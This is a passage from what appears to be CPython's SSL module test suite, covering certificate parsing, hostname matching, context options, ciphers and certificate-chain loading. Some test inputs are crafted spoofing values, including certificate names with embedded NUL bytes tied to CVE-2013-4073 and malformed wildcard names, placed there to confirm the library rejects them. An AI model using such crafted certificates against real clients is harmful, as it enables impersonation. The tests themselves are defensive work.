('email', 'null@python.org\x00user@example.org'), ('URI', 'http://null.python.org\x00http://example.org'), ('IP Address', '192.0.2.1'), ('IP Address', '2001:DB8:0:0:0:0:0:1\n')) else: # OpenSSL 0.9.7 doesn't support IPv6 addresses in subjectAltName san = (('DNS', 'altnull.python.org\x00example.com'), ('email', 'null@python.org\x00user@example.org'), ('URI', 'http://null.python.org\x00http://example.org'), ('IP Address', '192.0.2.1'), ('IP Address', '<invalid>')) self.assertEqual(p['subjectAltName'], san) def test_parse_all_sans(self): p = ssl._ssl._test_decode_cert(ALLSANFILE) self.assertEqual(p['subjectAltName'], ( ('DNS', 'allsans'), ('othername', '<unsupported>'), ('othername', '<unsupported>'), ('email', 'user@example.org'), ('DNS', 'www.example.org'), ('DirName', ((('countryName', 'XY'),), (('localityName', 'Castle Anthrax'),), (('organizationName', 'Python Software Foundation'),), (('commonName', 'dirname example'),))), ('URI', 'https://www.python.org/'), ('IP Address', '127.0.0.1'), ('IP Address', '0:0:0:0:0:0:0:1\n'), ('Registered ID', '1.2.3.4.5') ) ) def test_DER_to_PEM(self): with open(CAFILE_CACERT, 'r') as f: pem = f.read() d1 = ssl.PEM_cert_to_DER_cert(pem) p2 = ssl.DER_cert_to_PEM_cert(d1) d2 = ssl.PEM_cert_to_DER_cert(p2) self.assertEqual(d1, d2) if not p2.startswith(ssl.PEM_HEADER + '\n'): self.fail("DER-to-PEM didn't include correct header:\n%r\n" % p2) if not p2.endswith('\n' + ssl.PEM_FOOTER + '\n'): self.fail("DER-to-PEM didn't include correct footer:\n%r\n" % p2) def test_openssl_version(self): n = ssl.OPENSSL_VERSION_NUMBER t = ssl.OPENSSL_VERSION_INFO s = ssl.OPENSSL_VERSION self.assertIsInstance(n, int) self.assertIsInstance(t, tuple) self.assertIsInstance(s, str) # Some sanity checks follow # >= 0.9 self.assertGreaterEqual(n, 0x900000) # < 3.0 self.assertLess(n, 0x30000000) major, minor, fix, patch, status = t self.assertGreaterEqual(major, 0) self.assertLess(major, 3) self.assertGreaterEqual(minor, 0) self.assertLess(minor, 256) self.assertGreaterEqual(fix, 0) self.assertLess(fix, 256) self.assertGreaterEqual(patch, 0) self.assertLessEqual(patch, 63) self.assertGreaterEqual(status, 0) self.assertLessEqual(status, 15) # Version string as returned by {Open,Libre}SSL, the format might change if IS_LIBRESSL: self.assertTrue(s.startswith("LibreSSL {:d}".format(major)), (s, t, hex(n))) else: self.assertTrue(s.startswith("OpenSSL {:d}.{:d}.{:d}".format(major, minor, fix)), (s, t, hex(n))) @support.cpython_only def test_refcycle(self): # Issue #7943: an SSL object doesn't create reference cycles with # itself. s = socket.socket(socket.AF_INET) ss = test_wrap_socket(s) wr = weakref.ref(ss) with support.check_warnings(("", ResourceWarning)): del ss self.assertEqual(wr(), None) def test_wrapped_unconnected(self): # Methods on an unconnected SSLSocket propagate the original # OSError raise by the underlying socket object. s = socket.socket(socket.AF_INET) with test_wrap_socket(s) as ss: self.assertRaises(OSError, ss.recv, 1) self.assertRaises(OSError, ss.recv_into, bytearray(b'x')) self.assertRaises(OSError, ss.recvfrom, 1) self.assertRaises(OSError, ss.recvfrom_into, bytearray(b'x'), 1) self.assertRaises(OSError, ss.send, b'x') self.assertRaises(OSError, ss.sendto, b'x', ('0.0.0.0', 0)) self.assertRaises(NotImplementedError, ss.dup) self.assertRaises(NotImplementedError, ss.sendmsg, [b'x'], (), 0, ('0.0.0.0', 0)) self.assertRaises(NotImplementedError, ss.recvmsg, 100) self.assertRaises(NotImplementedError, ss.recvmsg_into, [bytearray(100)]) def test_timeout(self): # Issue #8524: when creating an SSL socket, the timeout of the # original socket should be retained. for timeout in (None, 0.0, 5.0): s = socket.socket(socket.AF_INET) s.settimeout(timeout) with test_wrap_socket(s) as ss: self.assertEqual(timeout, ss.gettimeout()) def test_errors_sslwrap(self): sock = socket.socket() self.assertRaisesRegex(ValueError, "certfile must be specified", ssl.wrap_socket, sock, keyfile=CERTFILE) self.assertRaisesRegex(ValueError, "certfile must be specified for server-side operations", ssl.wrap_socket, sock, server_side=True) self.assertRaisesRegex(ValueError, "certfile must be specified for server-side operations", ssl.wrap_socket, sock, server_side=True, certfile="") with ssl.wrap_socket(sock, server_side=True, certfile=CERTFILE) as s: self.assertRaisesRegex(ValueError, "can't connect in server-side mode", s.connect, (HOST, 8080)) with self.assertRaises(OSError) as cm: with socket.socket() as sock: ssl.wrap_socket(sock, certfile=NONEXISTINGCERT) self.assertEqual(cm.exception.errno, errno.ENOENT) with self.assertRaises(OSError) as cm: with socket.socket() as sock: ssl.wrap_socket(sock, certfile=CERTFILE, keyfile=NONEXISTINGCERT) self.assertEqual(cm.exception.errno, errno.ENOENT) with self.assertRaises(OSError) as cm: with socket.socket() as sock: ssl.wrap_socket(sock, certfile=NONEXISTINGCERT, keyfile=NONEXISTINGCERT) self.assertEqual(cm.exception.errno, errno.ENOENT) def bad_cert_test(self, certfile): """Check that trying to use the given client certificate fails""" certfile = os.path.join(os.path.dirname(__file__) or os.curdir, certfile) sock = socket.socket() self.addCleanup(sock.close) with self.assertRaises(ssl.SSLError): test_wrap_socket(sock, certfile=certfile) def test_empty_cert(self): """Wrapping with an empty cert file""" self.bad_cert_test("nullcert.pem") def test_malformed_cert(self): """Wrapping with a badly formatted certificate (syntax error)""" self.bad_cert_test("badcert.pem") def test_malformed_key(self): """Wrapping with a badly formatted key (syntax error)""" self.bad_cert_test("badkey.pem") def test_match_hostname(self): def ok(cert, hostname): ssl.match_hostname(cert, hostname) def fail(cert, hostname): self.assertRaises(ssl.CertificateError, ssl.match_hostname, cert, hostname) # -- Hostname matching -- cert = {'subject': ((('commonName', 'example.com'),),)} ok(cert, 'example.com') ok(cert, 'ExAmple.cOm') fail(cert, 'www.example.com') fail(cert, '.example.com') fail(cert, 'example.org') fail(cert, 'exampleXcom') cert = {'subject': ((('commonName', '*.a.com'),),)} ok(cert, 'foo.a.com') fail(cert, 'bar.foo.a.com') fail(cert, 'a.com') fail(cert, 'Xa.com') fail(cert, '.a.com') # only match wildcards when they are the only thing # in left-most segment cert = {'subject': ((('commonName', 'f*.com'),),)} fail(cert, 'foo.com') fail(cert, 'f.com') fail(cert, 'bar.com') fail(cert, 'foo.a.com') fail(cert, 'bar.foo.com') # NULL bytes are bad, CVE-2013-4073 cert = {'subject': ((('commonName', 'null.python.org\x00example.org'),),)} ok(cert, 'null.python.org\x00example.org') # or raise an error? fail(cert, 'example.org') fail(cert, 'null.python.org') # error cases with wildcards cert = {'subject': ((('commonName', '*.*.a.com'),),)} fail(cert, 'bar.foo.a.com') fail(cert, 'a.com') fail(cert, 'Xa.com') fail(cert, '.a.com') cert = {'subject': ((('commonName', 'a.*.com'),),)} fail(cert, 'a.foo.com') fail(cert, 'a..com') fail(cert, 'a.com') # wildcard doesn't match IDNA prefix 'xn--' idna = 'pรผthon.python.org'.encode("idna").decode("ascii") cert = {'subject': ((('commonName', idna),),)} ok(cert, idna) cert = {'subject': ((('commonName', 'x*.python.org'),),)} fail(cert, idna) cert = {'subject': ((('commonName', 'xn--p*.python.org'),),)} fail(cert, idna) # wildcard in first fragment and IDNA A-labels in sequent fragments # are supported. idna = 'www*.pythรถn.org'.encode("idna").decode("ascii") cert = {'subject': ((('commonName', idna),),)} fail(cert, 'www.pythรถn.org'.encode("idna").decode("ascii")) fail(cert, 'www1.pythรถn.org'.encode("idna").decode("ascii")) fail(cert, 'ftp.pythรถn.org'.encode("idna").decode("ascii")) fail(cert, 'pythรถn.org'.encode("idna").decode("ascii")) # Slightly fake real-world example cert = {'notAfter': 'Jun 26 21:41:46 2011 GMT', 'subject': ((('commonName', 'linuxfrz.org'),),), 'subjectAltName': (('DNS', 'linuxfr.org'), ('DNS', 'linuxfr.com'), ('othername', '<unsupported>'))} ok(cert, 'linuxfr.org') ok(cert, 'linuxfr.com') # Not a "DNS" entry fail(cert, '<unsupported>') # When there is a subjectAltName, commonName isn't used fail(cert, 'linuxfrz.org') # A pristine real-world example cert = {'notAfter': 'Dec 18 23:59:59 2011 GMT', 'subject': ((('countryName', 'US'),), (('stateOrProvinceName', 'California'),), (('localityName', 'Mountain View'),), (('organizationName', 'Google Inc'),), (('commonName', 'mail.google.com'),))} ok(cert, 'mail.google.com') fail(cert, 'gmail.com') # Only commonName is considered fail(cert, 'California') # -- IPv4 matching -- cert = {'subject': ((('commonName', 'example.com'),),), 'subjectAltName': (('DNS', 'example.com'), ('IP Address', '10.11.12.13'), ('IP Address', '14.15.16.17'))} ok(cert, '10.11.12.13') ok(cert, '14.15.16.17') fail(cert, '14.15.16.18') fail(cert, 'example.net') # -- IPv6 matching -- if hasattr(socket, 'AF_INET6'): cert = {'subject': ((('commonName', 'example.com'),),), 'subjectAltName': ( ('DNS', 'example.com'), ('IP Address', '2001:0:0:0:0:0:0:CAFE\n'), ('IP Address', '2003:0:0:0:0:0:0:BABA\n'))} ok(cert, '2001::cafe') ok(cert, '2003::baba') fail(cert, '2003::bebe') fail(cert, 'example.net') # -- Miscellaneous -- # Neither commonName nor subjectAltName cert = {'notAfter': 'Dec 18 23:59:59 2011 GMT', 'subject': ((('countryName', 'US'),), (('stateOrProvinceName', 'California'),), (('localityName', 'Mountain View'),), (('organizationName', 'Google Inc'),))} fail(cert, 'mail.google.com') # No DNS entry in subjectAltName but a commonName cert = {'notAfter': 'Dec 18 23:59:59 2099 GMT', 'subject': ((('countryName', 'US'),), (('stateOrProvinceName', 'California'),), (('localityName', 'Mountain View'),), (('commonName', 'mail.google.com'),)), 'subjectAltName': (('othername', 'blabla'), )} ok(cert, 'mail.google.com') # No DNS entry subjectAltName and no commonName cert = {'notAfter': 'Dec 18 23:59:59 2099 GMT', 'subject': ((('countryName', 'US'),), (('stateOrProvinceName', 'California'),), (('localityName', 'Mountain View'),), (('organizationName', 'Google Inc'),)), 'subjectAltName': (('othername', 'blabla'),)} fail(cert, 'google.com') # Empty cert / no cert self.assertRaises(ValueError, ssl.match_hostname, None, 'example.com') self.assertRaises(ValueError, ssl.match_hostname, {}, 'example.com') # Issue #17980: avoid denials of service by refusing more than one # wildcard per fragment. cert = {'subject': ((('commonName', 'a*b.example.com'),),)} with self.assertRaisesRegex( ssl.CertificateError, "partial wildcards in leftmost label are not supported"): ssl.match_hostname(cert, 'axxb.example.com') cert = {'subject': ((('commonName', 'www.*.example.com'),),)} with self.assertRaisesRegex( ssl.CertificateError, "wildcard can only be present in the leftmost label"): ssl.match_hostname(cert, 'www.sub.example.com') cert = {'subject': ((('commonName', 'a*b*.example.com'),),)} with self.assertRaisesRegex( ssl.CertificateError, "too many wildcards"): ssl.match_hostname(cert, 'axxbxxc.example.com') cert = {'subject': ((('commonName', '*'),),)} with self.assertRaisesRegex( ssl.CertificateError, "sole wildcard without additional labels are not support"): ssl.match_hostname(cert, 'host') cert = {'subject': ((('commonName', '*.com'),),)} with self.assertRaisesRegex( ssl.CertificateError, r"hostname 'com' doesn't match '\*.com'"): ssl.match_hostname(cert, 'com') # extra checks for _inet_paton() for invalid in ['1', '', '1.2.3', '256.0.0.1', '127.0.0.1/24']: with self.assertRaises(ValueError): ssl._inet_paton(invalid) for ipaddr in ['127.0.0.1', '192.168.0.1']: self.assertTrue(ssl._inet_paton(ipaddr)) if hasattr(socket, 'AF_INET6'): for ipaddr in ['::1', '2001:db8:85a3::8a2e:370:7334']: self.assertTrue(ssl._inet_paton(ipaddr)) def test_server_side(self): # server_hostname doesn't work for server sockets ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) with socket.socket() as sock: self.assertRaises(ValueError, ctx.wrap_socket, sock, True, server_hostname="some.hostname") def test_unknown_channel_binding(self): # should raise ValueError for unknown type s = socket.socket(socket.AF_INET) s.bind(('127.0.0.1', 0)) s.listen() c = socket.socket(socket.AF_INET) c.connect(s.getsockname()) with test_wrap_socket(c, do_handshake_on_connect=False) as ss: with self.assertRaises(ValueError): ss.get_channel_binding("unknown-type") s.close() @unittest.skipUnless("tls-unique" in ssl.CHANNEL_BINDING_TYPES, "'tls-unique' channel binding not available") def test_tls_unique_channel_binding(self): # unconnected should return None for known type s = socket.socket(socket.AF_INET) with test_wrap_socket(s) as ss: self.assertIsNone(ss.get_channel_binding("tls-unique")) # the same for server-side s = socket.socket(socket.AF_INET) with test_wrap_socket(s, server_side=True, certfile=CERTFILE) as ss: self.assertIsNone(ss.get_channel_binding("tls-unique")) def test_dealloc_warn(self): ss = test_wrap_socket(socket.socket(socket.AF_INET)) r = repr(ss) with self.assertWarns(ResourceWarning) as cm: ss = None support.gc_collect() self.assertIn(r, str(cm.warning.args[0])) def test_get_default_verify_paths(self): paths = ssl.get_default_verify_paths() self.assertEqual(len(paths), 6) self.assertIsInstance(paths, ssl.DefaultVerifyPaths) with support.EnvironmentVarGuard() as env: env["SSL_CERT_DIR"] = CAPATH env["SSL_CERT_FILE"] = CERTFILE paths = ssl.get_default_verify_paths() self.assertEqual(paths.cafile, CERTFILE) self.assertEqual(paths.capath, CAPATH) @unittest.skipUnless(sys.platform == "win32", "Windows specific") def test_enum_certificates(self): self.assertTrue(ssl.enum_certificates("CA")) self.assertTrue(ssl.enum_certificates("ROOT")) self.assertRaises(TypeError, ssl.enum_certificates) self.assertRaises(WindowsError, ssl.enum_certificates, "") trust_oids = set() for storename in ("CA", "ROOT"): store = ssl.enum_certificates(storename) self.assertIsInstance(store, list) for element in store: self.assertIsInstance(element, tuple) self.assertEqual(len(element), 3) cert, enc, trust = element self.assertIsInstance(cert, bytes) self.assertIn(enc, {"x509_asn", "pkcs_7_asn"}) self.assertIsInstance(trust, (set, bool)) if isinstance(trust, set): trust_oids.update(trust) serverAuth = "1.3.6.1.5.5.7.3.1" self.assertIn(serverAuth, trust_oids) @unittest.skipUnless(sys.platform == "win32", "Windows specific") def test_enum_crls(self): self.assertTrue(ssl.enum_crls("CA")) self.assertRaises(TypeError, ssl.enum_crls) self.assertRaises(WindowsError, ssl.enum_crls, "") crls = ssl.enum_crls("CA") self.assertIsInstance(crls, list) for element in crls: self.assertIsInstance(element, tuple) self.assertEqual(len(element), 2) self.assertIsInstance(element[0], bytes) self.assertIn(element[1], {"x509_asn", "pkcs_7_asn"}) def test_asn1object(self): expected = (129, 'serverAuth', 'TLS Web Server Authentication', '1.3.6.1.5.5.7.3.1') val = ssl._ASN1Object('1.3.6.1.5.5.7.3.1') self.assertEqual(val, expected) self.assertEqual(val.nid, 129) self.assertEqual(val.shortname, 'serverAuth') self.assertEqual(val.longname, 'TLS Web Server Authentication') self.assertEqual(val.oid, '1.3.6.1.5.5.7.3.1') self.assertIsInstance(val, ssl._ASN1Object) self.assertRaises(ValueError, ssl._ASN1Object, 'serverAuth') val = ssl._ASN1Object.fromnid(129) self.assertEqual(val, expected) self.assertIsInstance(val, ssl._ASN1Object) self.assertRaises(ValueError, ssl._ASN1Object.fromnid, -1) with self.assertRaisesRegex(ValueError, "unknown NID 100000"): ssl._ASN1Object.fromnid(100000) for i in range(1000): try: obj = ssl._ASN1Object.fromnid(i) except ValueError: pass else: self.assertIsInstance(obj.nid, int) self.assertIsInstance(obj.shortname, str) self.assertIsInstance(obj.longname, str) self.assertIsInstance(obj.oid, (str, type(None))) val = ssl._ASN1Object.fromname('TLS Web Server Authentication') self.assertEqual(val, expected) self.assertIsInstance(val, ssl._ASN1Object) self.assertEqual(ssl._ASN1Object.fromname('serverAuth'), expected) self.assertEqual(ssl._ASN1Object.fromname('1.3.6.1.5.5.7.3.1'), expected) with self.assertRaisesRegex(ValueError, "unknown object 'serverauth'"): ssl._ASN1Object.fromname('serverauth') def test_purpose_enum(self): val = ssl._ASN1Object('1.3.6.1.5.5.7.3.1') self.assertIsInstance(ssl.Purpose.SERVER_AUTH, ssl._ASN1Object) self.assertEqual(ssl.Purpose.SERVER_AUTH, val) self.assertEqual(ssl.Purpose.SERVER_AUTH.nid, 129) self.assertEqual(ssl.Purpose.SERVER_AUTH.shortname, 'serverAuth') self.assertEqual(ssl.Purpose.SERVER_AUTH.oid, '1.3.6.1.5.5.7.3.1') val = ssl._ASN1Object('1.3.6.1.5.5.7.3.2') self.assertIsInstance(ssl.Purpose.CLIENT_AUTH, ssl._ASN1Object) self.assertEqual(ssl.Purpose.CLIENT_AUTH, val) self.assertEqual(ssl.Purpose.CLIENT_AUTH.nid, 130) self.assertEqual(ssl.Purpose.CLIENT_AUTH.shortname, 'clientAuth') self.assertEqual(ssl.Purpose.CLIENT_AUTH.oid, '1.3.6.1.5.5.7.3.2') def test_unsupported_dtls(self): s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) self.addCleanup(s.close) with self.assertRaises(NotImplementedError) as cx: test_wrap_socket(s, cert_reqs=ssl.CERT_NONE) self.assertEqual(str(cx.exception), "only stream sockets are supported") ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) with self.assertRaises(NotImplementedError) as cx: ctx.wrap_socket(s) self.assertEqual(str(cx.exception), "only stream sockets are supported") def cert_time_ok(self, timestring, timestamp): self.assertEqual(ssl.cert_time_to_seconds(timestring), timestamp) def cert_time_fail(self, timestring): with self.assertRaises(ValueError): ssl.cert_time_to_seconds(timestring) @unittest.skipUnless(utc_offset(), 'local time needs to be different from UTC') def test_cert_time_to_seconds_timezone(self): # Issue #19940: ssl.cert_time_to_seconds() returns wrong # results if local timezone is not UTC self.cert_time_ok("May 9 00:00:00 2007 GMT", 1178668800.0) self.cert_time_ok("Jan 5 09:34:43 2018 GMT", 1515144883.0) def test_cert_time_to_seconds(self): timestring = "Jan 5 09:34:43 2018 GMT" ts = 1515144883.0 self.cert_time_ok(timestring, ts) # accept keyword parameter, assert its name self.assertEqual(ssl.cert_time_to_seconds(cert_time=timestring), ts) # accept both %e and %d (space or zero generated by strftime) self.cert_time_ok("Jan 05 09:34:43 2018 GMT", ts) # case-insensitive self.cert_time_ok("JaN 5 09:34:43 2018 GmT", ts) self.cert_time_fail("Jan 5 09:34 2018 GMT") # no seconds self.cert_time_fail("Jan 5 09:34:43 2018") # no GMT self.cert_time_fail("Jan 5 09:34:43 2018 UTC") # not GMT timezone self.cert_time_fail("Jan 35 09:34:43 2018 GMT") # invalid day self.cert_time_fail("Jon 5 09:34:43 2018 GMT") # invalid month self.cert_time_fail("Jan 5 24:00:00 2018 GMT") # invalid hour self.cert_time_fail("Jan 5 09:60:43 2018 GMT") # invalid minute newyear_ts = 1230768000.0 # leap seconds self.cert_time_ok("Dec 31 23:59:60 2008 GMT", newyear_ts) # same timestamp self.cert_time_ok("Jan 1 00:00:00 2009 GMT", newyear_ts) self.cert_time_ok("Jan 5 09:34:59 2018 GMT", 1515144899) # allow 60th second (even if it is not a leap second) self.cert_time_ok("Jan 5 09:34:60 2018 GMT", 1515144900) # allow 2nd leap second for compatibility with time.strptime() self.cert_time_ok("Jan 5 09:34:61 2018 GMT", 1515144901) self.cert_time_fail("Jan 5 09:34:62 2018 GMT") # invalid seconds # no special treatment for the special value: # 99991231235959Z (rfc 5280) self.cert_time_ok("Dec 31 23:59:59 9999 GMT", 253402300799.0) @support.run_with_locale('LC_ALL', '') def test_cert_time_to_seconds_locale(self): # `cert_time_to_seconds()` should be locale independent def local_february_name(): return time.strftime('%b', (1, 2, 3, 4, 5, 6, 0, 0, 0)) if local_february_name().lower() == 'feb': self.skipTest("locale-specific month name needs to be " "different from C locale") # locale-independent self.cert_time_ok("Feb 9 00:00:00 2007 GMT", 1170979200.0) self.cert_time_fail(local_february_name() + " 9 00:00:00 2007 GMT") def test_connect_ex_error(self): server = socket.socket(socket.AF_INET) self.addCleanup(server.close) port = support.bind_port(server) # Reserve port but don't listen s = test_wrap_socket(socket.socket(socket.AF_INET), cert_reqs=ssl.CERT_REQUIRED) self.addCleanup(s.close) rc = s.connect_ex((HOST, port)) # Issue #19919: Windows machines or VMs hosted on Windows # machines sometimes return EWOULDBLOCK. errors = ( errno.ECONNREFUSED, errno.EHOSTUNREACH, errno.ETIMEDOUT, errno.EWOULDBLOCK, ) self.assertIn(rc, errors) class ContextTests(unittest.TestCase): @skip_if_broken_ubuntu_ssl def test_constructor(self): for protocol in PROTOCOLS: ssl.SSLContext(protocol) ctx = ssl.SSLContext() self.assertEqual(ctx.protocol, ssl.PROTOCOL_TLS) self.assertRaises(ValueError, ssl.SSLContext, -1) self.assertRaises(ValueError, ssl.SSLContext, 42) @skip_if_broken_ubuntu_ssl def test_protocol(self): for proto in PROTOCOLS: ctx = ssl.SSLContext(proto) self.assertEqual(ctx.protocol, proto) def test_ciphers(self): ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) ctx.set_ciphers("ALL") ctx.set_ciphers("DEFAULT") with self.assertRaisesRegex(ssl.SSLError, "No cipher can be selected"): ctx.set_ciphers("^$:,;?*'dorothyx") @unittest.skipUnless(PY_SSL_DEFAULT_CIPHERS == 1, "Test applies only to Python default ciphers") def test_python_ciphers(self): ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) ciphers = ctx.get_ciphers() for suite in ciphers: name = suite['name'] self.assertNotIn("PSK", name) self.assertNotIn("SRP", name) self.assertNotIn("MD5", name) self.assertNotIn("RC4", name) self.assertNotIn("3DES", name) @unittest.skipIf(ssl.OPENSSL_VERSION_INFO < (1, 0, 2, 0, 0), 'OpenSSL too old') def test_get_ciphers(self): ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) ctx.set_ciphers('AESGCM') names = set(d['name'] for d in ctx.get_ciphers()) self.assertIn('AES256-GCM-SHA384', names) self.assertIn('AES128-GCM-SHA256', names) @skip_if_broken_ubuntu_ssl def test_options(self): ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) # OP_ALL | OP_NO_SSLv2 | OP_NO_SSLv3 is the default value default = (ssl.OP_ALL | ssl.OP_NO_SSLv2 | ssl.OP_NO_SSLv3) # SSLContext also enables these by default default |= (OP_NO_COMPRESSION | OP_CIPHER_SERVER_PREFERENCE | OP_SINGLE_DH_USE | OP_SINGLE_ECDH_USE | OP_ENABLE_MIDDLEBOX_COMPAT) self.assertEqual(default, ctx.options) ctx.options |= ssl.OP_NO_TLSv1 self.assertEqual(default | ssl.OP_NO_TLSv1, ctx.options) if can_clear_options(): ctx.options = (ctx.options & ~ssl.OP_NO_TLSv1) self.assertEqual(default, ctx.options) ctx.options = 0 # Ubuntu has OP_NO_SSLv3 forced on by default self.assertEqual(0, ctx.options & ~ssl.OP_NO_SSLv3) else: with self.assertRaises(ValueError): ctx.options = 0 def test_verify_mode_protocol(self): ctx = ssl.SSLContext(ssl.PROTOCOL_TLS) # Default value self.assertEqual(ctx.verify_mode, ssl.CERT_NONE) ctx.verify_mode = ssl.CERT_OPTIONAL self.assertEqual(ctx.verify_mode, ssl.CERT_OPTIONAL) ctx.verify_mode = ssl.CERT_REQUIRED self.assertEqual(ctx.verify_mode, ssl.CERT_REQUIRED) ctx.verify_mode = ssl.CERT_NONE self.assertEqual(ctx.verify_mode, ssl.CERT_NONE) with self.assertRaises(TypeError): ctx.verify_mode = None with self.assertRaises(ValueError): ctx.verify_mode = 42 ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) self.assertEqual(ctx.verify_mode, ssl.CERT_NONE) self.assertFalse(ctx.check_hostname) ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) self.assertEqual(ctx.verify_mode, ssl.CERT_REQUIRED) self.assertTrue(ctx.check_hostname) def test_hostname_checks_common_name(self): ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) self.assertTrue(ctx.hostname_checks_common_name) if ssl.HAS_NEVER_CHECK_COMMON_NAME: ctx.hostname_checks_common_name = True self.assertTrue(ctx.hostname_checks_common_name) ctx.hostname_checks_common_name = False self.assertFalse(ctx.hostname_checks_common_name) ctx.hostname_checks_common_name = True self.assertTrue(ctx.hostname_checks_common_name) else: with self.assertRaises(AttributeError): ctx.hostname_checks_common_name = True @unittest.skipUnless(hasattr(ssl.SSLContext, 'minimum_version'), "required OpenSSL 1.1.0g") def test_min_max_version(self): ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) self.assertEqual( ctx.minimum_version, ssl.TLSVersion.MINIMUM_SUPPORTED ) self.assertEqual( ctx.maximum_version, ssl.TLSVersion.MAXIMUM_SUPPORTED ) ctx.minimum_version = ssl.TLSVersion.TLSv1_1 ctx.maximum_version = ssl.TLSVersion.TLSv1_2 self.assertEqual( ctx.minimum_version, ssl.TLSVersion.TLSv1_1 ) self.assertEqual( ctx.maximum_version, ssl.TLSVersion.TLSv1_2 ) ctx.minimum_version = ssl.TLSVersion.MINIMUM_SUPPORTED ctx.maximum_version = ssl.TLSVersion.TLSv1 self.assertEqual( ctx.minimum_version, ssl.TLSVersion.MINIMUM_SUPPORTED ) self.assertEqual( ctx.maximum_version, ssl.TLSVersion.TLSv1 ) ctx.maximum_version = ssl.TLSVersion.MAXIMUM_SUPPORTED self.assertEqual( ctx.maximum_version, ssl.TLSVersion.MAXIMUM_SUPPORTED ) ctx.maximum_version = ssl.TLSVersion.MINIMUM_SUPPORTED self.assertIn( ctx.maximum_version, {ssl.TLSVersion.TLSv1, ssl.TLSVersion.SSLv3} ) ctx.minimum_version = ssl.TLSVersion.MAXIMUM_SUPPORTED self.assertIn( ctx.minimum_version, {ssl.TLSVersion.TLSv1_2, ssl.TLSVersion.TLSv1_3} ) with self.assertRaises(ValueError): ctx.minimum_version = 42 ctx = ssl.SSLContext(ssl.PROTOCOL_TLSv1_1) self.assertEqual( ctx.minimum_version, ssl.TLSVersion.MINIMUM_SUPPORTED ) self.assertEqual( ctx.maximum_version, ssl.TLSVersion.MAXIMUM_SUPPORTED ) with self.assertRaises(ValueError): ctx.minimum_version = ssl.TLSVersion.MINIMUM_SUPPORTED with self.assertRaises(ValueError): ctx.maximum_version = ssl.TLSVersion.TLSv1 @unittest.skipUnless(have_verify_flags(), "verify_flags need OpenSSL > 0.9.8") def test_verify_flags(self): ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) # default value tf = getattr(ssl, "VERIFY_X509_TRUSTED_FIRST", 0) self.assertEqual(ctx.verify_flags, ssl.VERIFY_DEFAULT | tf) ctx.verify_flags = ssl.VERIFY_CRL_CHECK_LEAF self.assertEqual(ctx.verify_flags, ssl.VERIFY_CRL_CHECK_LEAF) ctx.verify_flags = ssl.VERIFY_CRL_CHECK_CHAIN self.assertEqual(ctx.verify_flags, ssl.VERIFY_CRL_CHECK_CHAIN) ctx.verify_flags = ssl.VERIFY_DEFAULT self.assertEqual(ctx.verify_flags, ssl.VERIFY_DEFAULT) # supports any value ctx.verify_flags = ssl.VERIFY_CRL_CHECK_LEAF | ssl.VERIFY_X509_STRICT self.assertEqual(ctx.verify_flags, ssl.VERIFY_CRL_CHECK_LEAF | ssl.VERIFY_X509_STRICT) with self.assertRaises(TypeError): ctx.verify_flags = None def test_load_cert_chain(self): ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) # Combined key and cert in a single file ctx.load_cert_chain(CERTFILE, keyfile=None) ctx.load_cert_chain(CERTFILE, keyfile=CERTFILE) self.assertRaises(TypeError, ctx.load_cert_chain, keyfile=CERTFILE) with self.assertRaises(OSError) as cm: ctx.load_cert_chain(NONEXISTINGCERT) self.assertEqual(cm.exception.errno, errno.ENOENT) with self.assertRaisesRegex(ssl.SSLError, "PEM lib"): ctx.load_cert_chain(BADCERT) with self.assertRaisesRegex(ssl.SSLError, "PEM lib"): ctx.load_cert_chain(EMPTYCERT) # Separate key and cert ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) ctx.load_cert_chain(ONLYCERT, ONLYKEY) ctx.load_cert_chain(certfile=ONLYCERT, keyfile=ONLYKEY) ctx.load_cert_chain(certfile=BYTES_ONLYCERT, keyfile=BYTES_ONLYKEY) with self.assertRaisesRegex(ssl.SSLError, "PEM lib"): ctx.load_cert_chain(ONLYCERT) with self.assertRaisesRegex(ssl.SSLError, "PEM lib"): ctx.load_cert_chain(ONLYKEY) with self.assertRaisesRegex(ssl.SSLError, "PEM lib"): ctx.load_cert_chain(certfile=ONLYKEY, keyfile=ONLYCERT) # Mismatching key and cert ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) with self.assertRaisesRegex(ssl.SSLError, "key values mismatch"): ctx.load_cert_chain(CAFILE_CACERT, ONLYKEY) # Password protected key and cert ctx.load_cert_chain(CERTFILE_PROTECTED, password=KEY_PASSWORD) ctx.load_cert_chain(CERTFILE_PROTECTED, password=KEY_PASSWORD.encode()) ctx.load_cert_chain(CERTFILE_PROTECTED, password=bytearray(KEY_PASSWORD.encode())) ctx.load_cert_chain(ONLYCERT, ONLYKEY_PROTECTED, KEY_PASSWORD) ctx.load_cert_chain(ONLYCERT, ONLYKEY_PROTECTED, KEY_PASSWORD.encode()) ctx.load_cert_chain(ONLYCERT, ONLYKEY_PROTECTED, bytearray(KEY_PASSWORD.encode())) with self.assertRaisesRegex(TypeError, "should be a string"): ctx.load_cert_chain(CERTFILE_PROTECTED, password=True) with self.assertRaises(ssl.SSLError): ctx.load_cert_chain(CERTFILE_PROTECTED, password="badpass") with self.assertRaisesRegex(ValueError, "cannot be longer"): # openssl has a fixed limit on the password buffer. # PEM_BUFSIZE is generally set to 1kb. # Return a string larger than this. ctx.load_cert_chain(CERTFILE_PROTECTED, password=b'a' * 102400) # Password callback def getpass_unicode(): return KEY_PASSWORD def getpass_bytes(): return KEY_PASSWORD.encode() def getpass_bytearray(): return bytearray(KEY_PASSWORD.encode()) def getpass_badpass(): return "badpass" def getpass_huge(): return b'a' * (1024 * 1024) def getpass_bad_type(): return 9 def getpass_exception(): raise Exception('getpass error') class GetPassCallable: def __call__(self): return KEY_PASSWORD def getpass(self): return 